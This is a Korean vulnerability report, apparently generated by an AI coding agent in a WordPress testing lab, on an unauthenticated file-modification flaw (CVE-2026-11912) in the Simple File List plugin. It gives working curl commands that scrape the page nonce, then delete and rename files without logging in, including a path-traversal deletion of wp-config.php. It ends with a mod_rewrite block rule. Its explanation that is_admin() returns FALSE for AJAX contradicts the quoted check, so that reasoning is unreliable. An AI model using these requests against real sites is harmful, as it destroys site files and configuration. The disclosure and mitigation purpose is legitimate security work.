
권한 누락으로 인한 인증되지 않은 파일 수정
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-11912 |
| CVSS 점수 | 7.5 (높음) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| 영향받는 플러그인 | Simple File List |
| 영향받는 버전 | <= 6.3.7 |
| 패치된 버전 | 6.3.8 |
| 게시일 | 2026년 6월 19일 |
| 연구자 | Chloe Chamberland - Wordfence |
| 실험 환경 | poloss-lab.ddev.site (DDEV) |
WordPress용 Simple File List 플러그인은 6.3.7 이하 모든 버전에서 부적절한 인증 검사로 인해 임의 파일 수정이 가능한 취약점을 가지고 있습니다. 이로 인해 인증되지 않은 공격자가 서버의 파일을 삭제하고 수정할 수 있습니다.
취약점은 다음과 같은 이유로 발생합니다:
AJAX 엔드포인트 등록: simplefilelist_edit_job AJAX 액션이 wp_ajax_ 및 wp_ajax_nopriv_ 후크에 모두 등록되어 인증되지 않은 접근을 허용합니다:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
결함이 있는 인증 검사: eeSFL_FileEditor() (1265행)의 인증 로직은 다음을 사용합니다:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
is_admin() 함수는 AJAX 요청에 대해 FALSE를 반환하므로 AllowFrontManage 설정이 평가되기 전에 인증 검사가 조기 종료됩니다.
논스 노출: 보안 논스(eeSFL_ActionNonce)는 wp_create_nonce()를 사용하여 생성되며 프런트엔드 HTML 소스 코드에 노출되어 공격자가 인증 없이 이를 추출할 수 있습니다.
테스트 중 이 취약점을 사용하여 WordPress 설정 파일(wp-config.php)을 성공적으로 삭제하여 사이트를 완전히 손상시켰습니다. 이는 이 취약점의 경로 탐색 측면이 얼마나 심각한지를 보여줍니다.
# 파일 목록 페이지에서 보안 논스 가져오기
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# 출력: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# 응답: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# 응답: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# 응답: SUCCESS (심각 - 사이트를 손상시킵니다!)
[eeSFL] 단축 코드가 포함된 모든 페이지 제거# simplefilelist_edit_job AJAX 호출 차단
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Claude Code - WordPress 보안 테스트 연구소에서 생성된 보고서 날짜: 2026년 6월 20일